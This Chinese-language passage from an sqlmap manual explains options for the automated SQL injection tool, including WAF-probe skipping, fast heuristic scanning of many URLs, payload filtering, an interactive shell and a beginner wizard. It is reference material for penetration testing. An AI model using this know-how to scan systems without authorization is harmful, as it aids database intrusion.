--skip-waf(默认地Sqlmap会发送虚假的SQL注入playload以试探目标是否有保护措施。如有任何问题,用户可以使用参数“–skip-waf”来禁用这一技术。)
模仿智能手机:
--mobile(有些网站对智能手机和桌面环境的返回是不同的。当需要测试这种网站的智能手机页面时可以设置一个智能手机的User-Agent,或者更简单地,使用此参数,Sqlmap会在执行时询问要模仿成流行的手机中的哪种)
离线模式(仅仅使用会话数据):
--offline(添加此参数,Sqlmap将仅仅使用以前存储的会话数据做测试而不向目标发送任何数据包。)
在Google dork中展示页面权重:
--page-rank(与参数“-g”一起使用,这会使Sqlmap向Google发起更多的请求并展示页面权重。)
从输出目录中安全移除所有内容:
--purge-output(当用户想要安全地删除输出目录中的所有内容时使用此参数。所谓安全删除,不仅仅是删除,而是在删除前先用随机数据覆盖原有数据,甚至对文件名和目录名也进行重命名以覆盖旧名称,所有覆盖工作完成后才执行删除。最后,输出目录中会一无所有。)
快速扫描:
--smart(当有大量URL要进行测试(如:“-m”),目的是尽快找出其中存在的某些注入点而有所遗漏也没有关系时可以使用“–smart”进行正向启发式扫描。此时只有让数据库管理系统报错的参数才会做进一步测试,其余URL均被跳过。)
通过关键词使用或跳过payload:
--test-filter(若只想使用包含关键词“ROW”的payload可使用参数“–test-filter=ROW”。)
--test-skip(若不想使用包含关键词“BENCHMARK”的payload可使用参数“–test-skip=BENCHMARK”。)
交互式sqlmap shell:
--sqlmap-shell(使用此参数可以打开一个交互式的Sqlmap Shell,支持历史记录。)
为初学者准备的简单向导:
--wizard(Sqlmap特地为初学者准备了一个有着尽可能少问题的工作流的向导。用户输入目标后若一直按回车选择默认回答到工作流的最后也会得到一个正确的结果。)